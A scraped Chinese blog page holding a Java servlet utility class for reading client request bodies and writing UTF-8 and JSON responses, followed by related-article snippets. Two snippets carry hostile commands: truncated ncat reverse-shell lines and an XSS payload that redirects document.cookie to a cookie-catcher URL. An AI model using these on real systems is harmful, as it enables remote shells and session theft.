TCP 服务端接收数据解析工具类
package com.ivchat.common.util;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.util.Map;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import net.sf.json.JSONArray;
import net.sf.json.JSONObject;
import org.apache.commons.httpclient.Cookie;
import org.apache.commons.io.output.ByteArrayOutputStream;
import org.apache.log4j.Logger;
/**
* @author 居里智能 2014-08-14
* @version 1.0.0 Servlet工具类
*/
public class ServletUtil {
private static Logger logger = Logger.getLogger(ServletUtil.class);
/**
* 直接发送消息对象
*
* @param rsp
* @param msgOut
* 待发送的消息对象
*/
public static void send(HttpServletResponse rsp, String msgOut) {
logger.info("-----回应客户端---"+msgOut);
//System.out.println(msgOut);
rsp.setCharacterEncoding("UTF-8");
rsp.setContentType("text/html;charset=UTF-8");
OutputStreamWriter ow = null;
ServletOutputStream servletOut = null;
try {
servletOut = rsp.getOutputStream();
ow = new OutputStreamWriter(servletOut, "UTF-8");
ow.write(msgOut);
} catch (IOException e) {
logger.error("向手机客户端发送信息异常:{}"+ e.toString(),e);
} finally {
try {
if (ow != null) {
ow.close();
}
if (servletOut != null) {
servletOut.close();
}
} catch (IOException e) {
logger.error("向手机客户端发送信息后,释放资源异常:{}"+e.toString(),e);
}
}
}
public static String getRequestContent(HttpServletRequest request,boolean statu) {
/*return (String) request.getAttribute("param");*/
logger.info("-----接收到客户端信息-----" + request.getRemoteHost());
logger.info("-----接收到客户端url-----" + request.getRequestURI());
InputStream is = null;
InputStreamReader isr = null;
BufferedReader br = null;
String retString = null;
try {
request.setCharacterEncoding("UTF-8");
StringBuffer sb=new StringBuffer();
is=request.getInputStream();
isr=new InputStreamReader(is,"UTF-8");
br=new BufferedReader(isr);
String s="";
while ((s = br.readLine()) != null) {
sb.append(s);
}
//System.out.println(sb.toString());
retString = sb.toString();
logger.info("-----接收到客户端参数-----" + retString);
} catch (Exception e) {
logger.error("读取手机客户端数据异常:{}"+ e.toString(),e);
}
finally{
try {
if (br!=null) {
br.close();
}
if (isr!=null) {
isr.close();
}
if (is!=null) {
is.close();
}
} catch (Exception e2) {
logger.error("接收手机客户端信息后,释放资源异常:{}"+ e2.toString(),e2);
}
}
return retString;
}
public static String getRequestContent(HttpServletRequest request) {
/*return (String) request.getAttribute("param");*/
logger.info("-----接收到客户端信息-----" + request.getRemoteHost());
logger.info("-----接收到客户端url-----" + request.getRequestURI());
InputStream is = null;
InputStreamReader isr = null;
BufferedReader br = null;
String retString = null;
try {
request.setCharacterEncoding("UTF-8");
StringBuffer sb=new StringBuffer();
is=request.getInputStream();
isr=new InputStreamReader(is,"UTF-8");
br=new BufferedReader(isr);
String s="";
while ((s = br.readLine()) != null) {
sb.append(s);
}
//System.out.println(sb.toString());
retString = sb.toString();
logger.info("-----接收到客户端参数-----" + retString);
} catch (Exception e) {
logger.error("读取客户端数据异常:{}"+e.toString(),e);
}
finally{
try {
if (br!=null) {
br.close();
}
if (isr!=null) {
isr.close();
}
if (is!=null) {
is.close();
}
} catch (Exception e2) {
logger.error("接收客户端信息后,释放资源异常:{}"+ e2.toString(),e2);
}
}
return retString;
}
public static String processInput(InputStream input){
byte[] response = null;
ByteArrayOutputStream byteArrayOutput = null;
String res = null;
try{
if (input != null) {
byteArrayOutput = new ByteArrayOutputStream();
byte[] temp = new byte[1024];
int len = 0;
while ((len = input.read(temp)) > 0) {
byteArrayOutput.write(temp, 0, len);
}
input = null;
response = byteArrayOutput.toByteArray();
}
res = new String(response, "UTF-8").trim();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (byteArrayOutput != null) {
byteArrayOutput.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
return res;
}
/**
* 发送JSON消息
*
* @param rsp
* @param msgOut
* @author 居里智能
*/
public static String send(HttpServletResponse rsp, Map<String, Object> jsonMap) {
JSONArray jsonArray = JSONArray.fromObject(jsonMap);
String respString = jsonArray.toString();
rsp.setCharacterEncoding("UTF-8");
rsp.setContentType("text/html;charset=UTF-8");
OutputStreamWriter ow = null;
ServletOutputStream servletOut = null;
try {
servletOut = rsp.getOutputStream();
ow = new OutputStreamWriter(servletOut, "UTF-8");
ow.write(respString);
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (ow != null) {
ow.close();
}
if (servletOut != null) {
servletOut.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
return respString;
}
/**
* @affect 在一组cookies里面,通过name取value
* @param cookies
* @param cookieName
* @return String
* @exception 无
*/
public static String getCookieValue(Cookie[] cookies, String cookieName) {
if (cookies == null)
return null;
if (cookieName == null)
return null;
String cookieValue = "";
for (int i = 0; i < cookies.length; i++) {
if (cookieName.equals(cookies[i].getName())) {
cookieValue = cookies[i].getValue();
}
}
return cookieValue;
}
public static String getJsonRequestContent(HttpServletRequest request) {
logger.info("-----接收到客户端信息-----" + request.getRemoteHost());
logger.info("-----接收到客户端url-----" + request.getRequestURI());
InputStream is = null;
InputStreamReader isr = null;
BufferedReader br = null;
String retString = null;
try {
request.setCharacterEncoding("UTF-8");
StringBuffer sb=new StringBuffer();
is=request.getInputStream();
isr=new InputStreamReader(is,"UTF-8");
br=new BufferedReader(isr);
String s="";
while ((s = br.readLine()) != null) {
sb.append(s);
}
//System.out.println(sb.toString());
request.setAttribute("param", sb.toString());
retString = sb.toString();
logger.info("-----接收到客户端参数-----" + retString);
} catch (Exception e) {
logger.error("读取手机客户端数据异常:{}"+e.toString(),e);
}
finally{
try {
if (br!=null) {
br.close();
}
if (isr!=null) {
isr.close();
}
if (is!=null) {
is.close();
}
} catch (Exception e2) {
logger.error("接收手机客户端信息后,释放资源异常:{}"+ e2.toString(),e2);
}
}
return retString;
}
/**通过request获取参数转成json
* yehz 2015-3-30
* @param request
* @return
*
*/
public static JSONObject getParamByRequest(HttpServletRequest request){
Map parammap= request.getParameterMap();
JSONObject js = new JSONObject();
if (parammap!=null&¶mmap.size()>0){
for (Object key :parammap.keySet()){
if (key instanceof String){
js.put(key,((Object[])parammap.get(key))[0]);
}
}
}
return js;
}
}
TCP 服务端接收数据解析工具类的更多相关文章
- Netty服务端接收的新连接是如何绑定到worker线程池的?
更多技术分享可关注我 前言 原文:Netty服务端接收的新连接是如何绑定到worker线程池的? 前面分析Netty服务端检测新连接的过程提到了NioServerSocketChannel读完新连接后 ...
- 读取EXCEL文档解析工具类
package test;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException ...
- Java常用工具类---XML工具类、数据验证工具类
package com.jarvis.base.util; import java.io.File;import java.io.FileWriter;import java.io.IOExcepti ...
- PHP 命令行参数解析工具类
<?php/** * 命令行参数解析工具类 * @author guolinchao * @email luoyecb@163.com */class CommandLine{ // store ...
- Request模块—数据解析工具
一.爬虫基本步骤 指定URL信息 发起请求 获取响应数据 对响应数据进行数据解析 持久化存储 二.数据解析 1. 正则表达式 (1) 基本语法 1. 单字符: . : 除换行以外所有字符 [] :[a ...
- Gprinter热敏打印机光栅位图点阵数据解析工具
最近参与的项目有一个需求,解析佳博热敏打印机的光栅位图点阵数据并保存为图片文件.数据是通过Bus Hound抓取的,如下图所示. 其中1b 40为初始化打印机的指令,对应的ASCII码为ESC @,1 ...
- springmvc返回json数据的工具类
在ssm框架下,MVC向前端返回数据的json工具类代码如下: public class JsonResult<T> { public static final int SUCCESS=0 ...
- 一、JDBC的概述 二、通过JDBC实现对数据的CRUD操作 三、封装JDBC访问数据的工具类 四、通过JDBC实现登陆和注册 五、防止SQL注入
一.JDBC的概述###<1>概念 JDBC:java database connection ,java数据库连接技术 是java内部提供的一套操作数据库的接口(面向接口编程),实现对数 ...
- 安卓使用Socket发送中文,C语言服务端接收乱码问题解决方式
今天用安卓通过Socket发送数据到电脑上使用C语言写的服务端,发送英文没有问题,可当把数据改变成中文时,服务端接收到的数据确是乱码. 突然想到.VS的预处理使用的是ANSI编码.而安卓网络数据都是U ...
随机推荐
- [转]Windows下Python多版本共存
https://blog.csdn.net/dream_an/article/details/51248736 Windows下Python多版本共存 Python数据科学安装Numby,pandas ...
- Cordova IOT Lesson003
bot index.html <!DOCTYPE html> <html> <head> <title>Arduino蓝牙机械昆虫控制器</tit ...
- 必须知道的Linux内核常识详解
一.内核功能.内核发行版 1.到底什么是操作系统 (1)linux.windows.android.ucos就是操作系统: (2)操作系统本质上是一个程序,由很多个源文件构成,需要编译连接成操作系统程 ...
- Codeforces 1098B. Nice table 构造
原文链接https://www.cnblogs.com/zhouzhendong/p/CF1098B.html 题解 首先,我们来证明一个结论: 合法的矩阵要么满足每列只有两种字符,要么满足每行只有两 ...
- Mapreduce概述和WordCount程序
一.Mapreduce概述 Mapreduce是分布式程序编程框架,也是分布式计算框架,它简化了开发! Mapreduce将用户编写的业务逻辑代码和自带默认组合整合成一个完整的分布式运算程序,并发的运 ...
- 使用Ncat反弹Shell
ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe
- xsspayload
元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ...
- Windows 7 下使用 pandoc 转换文档格式
工作中我们经常需要面对各种各样的文档格式,文档格式转换也就在所难免.通常有些文档编辑工具会提供自带的格式转换功能,但可转换格式比较有限.pandoc 正好可以解决这个问题,几乎你能见到的所有文档格式都 ...
- linux进阶指令
1.df 查看磁盘空间 2.free 查看内存使用 -m 表示以mb位单位查看 total 总大小 used 使用过的空间 free 空闲的空间 shared 共享内存 buffer ...
- Node.js_Buffer 缓冲区
Buffer 缓冲区 虽然 JavaScript 支持未操作,但是并没有 二进制数据 的原生 node 引入了 Buffer 类,用于操作二进制数据 是 V8 引擎的扩展,实际上是对内存的直接分配 每 ...